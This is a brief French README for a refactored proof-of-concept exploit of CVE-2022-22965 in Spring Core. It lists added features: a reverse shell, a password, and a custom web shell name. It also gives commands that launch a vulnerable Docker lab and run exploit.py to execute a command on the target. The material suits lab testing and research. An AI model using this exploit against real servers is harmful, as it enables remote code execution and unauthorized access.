CVE-2022-22965 poc

CVE-2022-22965 poc incluant le support du reverse shell et du mot de passe. N'hésitez pas à ajouter d'autres choses :)

Comment tester ?

$ docker run -p 9090:8080 vulfocus/spring-core-rce-2022-03-29 # run vulnerable docker
$ python3 exploit.py -c id --password 1234 --shell_name big0us
$ python3 exploit.py --help # for more usages

Crédits

J'ai refactoré le code de l'exploit original et ajouté quelques fonctionnalités

Modifications

• support du reverse shell
• support du mot de passe
• support du nom du shell